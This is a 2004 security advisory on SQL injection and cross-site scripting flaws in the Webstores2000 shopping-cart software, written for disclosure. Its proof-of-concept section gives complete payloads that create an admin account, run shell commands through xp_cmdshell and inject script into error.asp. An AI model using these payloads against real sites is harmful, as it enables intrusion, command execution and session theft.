Topic: WebCortex Webstores2000 version 6.0 multiple security vulnerabilities Severity: High Vendor URL: http://www.webcortex.com Advisory URL: http://www.s-quadra.com/advisories/Adv-20040218.txt Release date: 18 Feb 2004
1. DESCRIPTION
Webstores2000 is a complete solution for building shopping carts and shopping malls
for e-commerce enabled sites. Its written on ASP, works on most Windows platforms
and uses MS Access or MS SQL Server as a backend.
Please visit http://www.webcortex.com for information about Webstores2000.
2. DETAILS
-- Vulnerability 1: SQL Injection vulnerability
An SQL Injection vulnerability has been found in the 'browse_items.asp' script
User supplied input is not filtered before being used in a SQL query. Consequently,
query modification using malformed input is possible.
Successfull exploitation of this vulnerability could allow an attacker to gain
administrative access to shopping mall and read any information from
database (i.e. customers private data). Also an attacker could execute arbitrary
commands using xp_cmdshell function.
-- Vulnerability 2: Cross Site Scripting vulnerability in 'error.asp'
By injecting specially crafted javascript code in url and tricking a user to visit
it a remote attacker can steal user session id and gain access to user's personal data.
--PoC code
--Vulnerability 1:
Platform: MS SQL Server as a backend
Posting this data to browse_items.asp creates new administrative account
Search_Text=&Search_Dept=1&SEARCH_MINPRICE=&SEARCH_MAXPRICE=&SEARCH_SKU=%25%27+AND+Store_Items.Show+%3C%3E+0+AND+Store_Item_Keyword.Store_id%3D1000+and+Store_Items.Store_id%3D1000+GROUP+BY+Store_Items.Quantity_Minimum%2C+Store_Items.U_d_1_name%2C+Store_Items.U_d_2_name%2CStore_Items.U_d_3_name%2CStore_Items.U_d_4_name%2C+Store_Item_Keyword.Item_Id%2CStore_Items.Item_Sku%2C+Store_Items.Item_Name%2C+Store_Items.Retail_Price%2C+Store_Items.ImageS_id%2C+Store_Items.Item_Weight%2C+Store_Items.Quantity_in_stock%2C+Store_Items.Quantity_Control_Number%2C+Store_Items.Retail_Price_special_Discount%2C+Store_Items.Special_start_date%2C+Store_Items.Special_end_date+ORDER+BY+Count%28Store_Item_Keyword.Item_Id%29+DESC%3Binsert+into+Mall_Logins+%28Mall_User_Id%2C+Mall_Password%29+values+%281%2C2%29--&Search_Store.x=0&Search_Store.y=0
Posting this data to browse_items.asp executes 'dir c:' command
Search_Text=&Search_Dept=1&SEARCH_MINPRICE=&SEARCH_MAXPRICE=&SEARCH_SKU=%25%27+AND+Store_Items.Show+%3C%3E+0+AND+Store_Item_Keyword.Store_id%3D1000+and+Store_Items.Store_id%3D1000+GROUP+BY+Store_Items.Quantity_Minimum%2C+Store_Items.U_d_1_name%2C+Store_Items.U_d_2_name%2CStore_Items.U_d_3_name%2CStore_Items.U_d_4_name%2C+Store_Item_Keyword.Item_Id%2CStore_Items.Item_Sku%2C+Store_Items.Item_Name%2C+Store_Items.Retail_Price%2C+Store_Items.ImageS_id%2C+Store_Items.Item_Weight%2C+Store_Items.Quantity_in_stock%2C+Store_Items.Quantity_Control_Number%2C+Store_Items.Retail_Price_special_Discount%2C+Store_Items.Special_start_date%2C+Store_Items.Special_end_date+ORDER+BY+Count%28Store_Item_Keyword.Item_Id%29+DESC%3Bexec+master..xp_cmdshell+%27dir+c%3A+%3E+c%3A%5Cresdirc.txt%27--&Search_Store.x=39&Search_Store.y=4
-- Vulnerability 2:
http://[target]/error.asp?Message_id=35<script>alert(document.cookie)</script>
3. FIX INFORMATION
S-Quadra alerted WebCortex development team to this issue on 13th February 2004.
The following response from Shay Sabah has been received:
"OK... All of these have been fixed...
Now, I ask you to please STOP using our software and making all these "security" emails..."
4. CREDITS
Nick Gudov <cipher@s-quadra.com> is responsible for discovering this issue.
5. ABOUT
S-Quadra offers services in computer security, penetration testing and network assesment,
web application security, source code review and third party product vulnerability assesment,
forensic support and reverse engineering.
S-Quadra Advisory #2004-02-18
